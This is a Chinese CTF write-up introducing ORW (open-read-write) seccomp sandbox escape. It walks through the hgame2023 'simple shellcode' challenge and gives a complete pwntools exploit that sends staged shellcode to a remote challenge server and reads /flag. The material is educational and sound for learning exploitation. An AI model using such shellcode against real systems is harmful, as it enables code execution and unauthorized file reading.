orw入门报告
2024-10-21 13:13:03
orw(沙箱逃逸)
现在有很多程序在运行时禁用了系统函数,均采用了沙箱技术开启了沙箱保护,我们不能正常的get shell,只能用ROP链来调用其他的函数,例如read,write来把flag打印出来。这就是orw沙箱逃逸技术的由来。
查看沙箱
在实战中我们可以通过 seccomp-tools
来查看程序是否启用了沙箱, seccomp-tools
工具安装方法如下:
$ sudo apt install gcc ruby-dev
$ gem install seccomp-tools
安装完成后通过 seccomp-tools dump ./pwn
即可查看程序沙箱。
沙箱函数
最原始的沙箱规则是用prctl()函数规定的,这个函数规定了程序哪些函数在程序里不能被调用,所以以后遇见了这种函数,那大概率是开了沙箱。
int **prctl** ( int **option**,unsigned long arg2,unsigned long arg3,unsigned long arg4,unsigned long arg5 )
mmap()
一般来说,orw这种类型的题都会有一个mmap函数来改写一个地址的读写权限,我们需要利用这块地址来构造ROP链。
void *mmap (void *addr, size_t length, int prot, int flags, int fd, off_t offset);
例题:hgame2023 simple shellcode
题目链接:NSSCTF
下载附件,打开题目,可以看见mmap和read函数
mmap函数给了0xcafe0000这个地址一个可读写可执行权限,read函数能够读取0x10的数据到该地址上,最后将该处内存作为函数调⽤。那这里就可以写入shellcode。
继续跟进sandbox函数
可以看见有两个prctl函数,可以判断程序利用了沙盒保护,用seccomp-tools进行检查
可以看出禁用了execve和execveat,这样子get shell就很难了,只能使用orw。
利用思路:
1.因为0x10这个空间很小,我们没办法在上面构建shellcode,那就只能再重新调用一个read函数。
2.调用完了read函数后,利用orw来打开flag文件,并进行读取。
exp如下:
from pwn import *
#p = process('./vuln')
p=remote('1.14.71.254',28371)
elf = ELF('./vuln')
context.log_level = 'debug'
context.terminal = ["konsole", "-e"]
context.arch = "amd64"
r = lambda x: p.recv(x)
ra = lambda: p.recvall()
rl = lambda: p.recvline(keepends=True)
ru = lambda x: p.recvuntil(x, drop=True)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
ia = lambda: p.interactive()
c = lambda: p.close()
li = lambda x: log.info(x)
db = lambda: gdb.attach(p)
s = lambda x: p.send(x)
shellcode = asm("""
xor eax,eax
xor edi,edi
mov edx,0x1000
mov esi,0xcafe0000
syscall
""") #这里是调用read函数
sa("Please input your shellcode:",shellcode)
shellcode = b"\x90" * 0x100 #这里的'\x90'是把程序的其他指令改写成nop,即去掉其他指令
shellcode += asm(shellcraft.open("/flag"))
shellcode += asm(shellcraft.read(3,0xcafe0100,0x100))
shellcode += asm(shellcraft.write(1,0xcafe0100,0x100))
s(shellcode)
ia()
orw还有一些其他限制,例如or缺w,rw缺o的情况,这里只是一个入门报告,就不详细介绍了,具体可以看这篇文章浅谈 ORW
最新文章
- vertx简单客户端创建
- 告别div,可以代替div的几个标签
- ubuntu打开 txt 文件乱码
- dtree的使用
- Dijkstra算法求解最短路径分析
- sphinx 简介以及安装 以及php拓展开启
- include子页面传递过来的参数传递到后台
- 瀑布流的三种实现方式(原生js+jquery+css3)
- DOM4J介绍与代码示例
- Linux JDK配置
- 阿里云RDS for SQL Server使用的一些最佳实践
- Mysql服务启动与关闭
- C# 说说lock到底锁谁?(2)
- Inferred type 'S' for type parameter 'S' is not within its bound;
- HashMap从源码分析数据结构
- vue-router填坑之路
- 使用Photoshop实现雪花飘落的效果
- CyanogenMod---android
- pthread线程初始化(pthread_once)
- jquery remove()不兼容问题解决方案
热门文章
- python实现AES加密解密
- Linux 使用打印机
- vulnhub靶场之Chronos:1
- Go1.20 新版覆盖率方案解读
- kernel 启动流程
- C#中的进程检测退出事件和座位状态改变事件深入浅出谈谈EventHandler的使用
- docker registry(私库)搭建,使用,WEB可视化管理部署
- 终于定制出顺手的Obsidian斜杠命令
- org.apache.catalina.startup.HostConfig.deployWAR Error deploying web application archive
- 为测试管理正名,华为云CodeArts TestPlan的守护之道